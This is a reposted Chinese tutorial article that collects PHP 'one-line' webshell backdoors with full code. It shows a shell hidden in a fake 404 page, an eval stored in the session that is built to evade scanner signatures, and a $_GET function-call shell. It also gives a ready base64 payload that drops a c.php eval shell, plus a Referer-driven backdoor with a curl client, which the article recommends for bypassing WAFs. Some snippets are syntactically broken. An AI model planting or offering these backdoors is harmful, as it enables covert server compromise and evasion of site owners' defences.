最模板 - 外贸网站建设,外贸网站模板

最模板

当前位置: 首页 > 建站教程 > php教程 >

那些强悍的PHP一句话后门[转]

时间:2014-05-31 02:31来源:未知 作者:最模板zuimoban 点击:
我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。 强悍的PHP一句话后门 这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

强悍的PHP一句话后门

这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马:

01 <!DOCTYPE HTML PUBLIC  "-//IETF//DTD HTML 2.0//EN" 
02 <html><head> 
03 <title>404 Not Found</title> 
04 </head><body> 
05 <h1>Not Found</h1> 
06 <p>The requested URL was not found on this server.</p> 
07 </body></html> 
08 <?php 
09 @preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" ); 
10 header( 'HTTP/1.1 404 Not Found' ); 
11 ?>

 

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话:

1      <?php 
2 session_start(); 
3 $_POST [ 'code' ] &&  $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
4 $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
5 ?>

 

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门:

1 <?php  $_GET [a]( $_GET [b]);?>

 

仅用GET函数就构成了木马;

利用方法:

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门: 
此方法用两个文件实现,文件1

1      <?php 
2 //1.php 
3 header( 'Content-type:text/html;charset=utf-8' ); 
4 parse_str ( $_SERVER [ 'HTTP_REFERER' ],  $a ); 
5 if (reset( $a ) ==  '10' &&  count ( $a ) == 9) { 
6 eval ( base64_decode ( str_replace ( " "  "+" , implode( array_slice ( $a , 6))))); 
7
8 ?>

文件2

01      <?php 
02 //2.php 
03 header( 'Content-type:text/html;charset=utf-8' ); 
04 //要执行的代码 
05 $code = <<<CODE 
06 phpinfo(); 
07 CODE; 
08 //进行base64编码 
09 $code  base64_encode ( $code ); 
10 //构造referer字符串 
11 $referer  "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" 
12 //后门url 
13 $url  'http://localhost/test1/1.php ' 
14 $ch = curl_init(); 
15 $options  array 
16 CURLOPT_URL =>  $url 
17 CURLOPT_HEADER => FALSE, 
18 CURLOPT_RETURNTRANSFER => TRUE, 
19 CURLOPT_REFERER =>  $referer
20 ); 
21 curl_setopt_array( $ch  $options ); 
22 echocurl_exec( $ch ); 
23 ?>

 

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
(责任编辑:最模板)

------分隔线----------------------------
栏目列表
推荐内容